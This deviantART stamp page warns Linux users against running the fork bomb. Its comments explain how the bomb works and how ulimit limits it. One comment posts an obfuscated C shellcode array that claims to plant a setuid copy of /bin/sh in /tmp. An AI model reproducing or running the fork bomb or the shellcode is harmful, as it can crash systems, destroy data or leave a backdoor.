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AnonymousLink β Deadly Linux Command No. 3
by-nc-nd
Published: 2010-02-08 15:36:35 +0000 UTC; Views: 4281; Favourites: 48; Downloads: 102
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Description
[ anonymouslink@deviantART.com ]
$ cat /etc/description
One of the "deadly Linux commands" that some people may try to get you to execute in a console/terminal. This particular one is known as the "forkbomb", and will tell your system to execute a huge number of processes until the system freezes, which can often lead to corruption of data. SO DON'T DO IT!
$ sh /usr/bin/disclaimer
Awesomeness Β© me ^^
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Comments: 19
Destroy she said!!!
www.youtube.com/watch?v=dMgkCjβ¦
Another version of deadly command:
char esp[] __attribute__ ((section(β.textβ))) /* e.s.p
release */
= β\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68β
β\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99β
β\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7β
β\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56β
β\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31β
β\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69β
β\x6e\x2f\x73\x68\x00\x2d\x63\x00β
βcp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;β;
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i think it's great (we need more linux people 
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This explains the fork bomb, which the sites calls a denial of service attack 
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Whilst dangerous this command is normally mitigated by default setup on systems now. See this basically attempts to spawn hundreds of processes but if the user is restricted:
$ ulimit -u
1024
Then he can only create 1024 processes (which should not kill the system). Of course if it says this:
$ ulimit -u
unlimited
Then it is dangerous as it will just continue grow until all the resources are eaten up.
For those that want to understand commands like this here is it broken down.
# Define a function called ':'
: () {
# Call function and pipe output to function
# Placing in background
: | : &
# End Function
) ;
# Call the function to start the nasty
:
Always interesting discussing these things though
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I agree! Not many people would know what it ACTUALLY does.
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That's why it's dangerous. No one would think twice, right?
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I, for one, like to see users come BACK to Linux. Not be scared away.
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Relax, it was just a joke.
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Gonna be making a couple more "Deadly Linux Commands" stamps soon. xD
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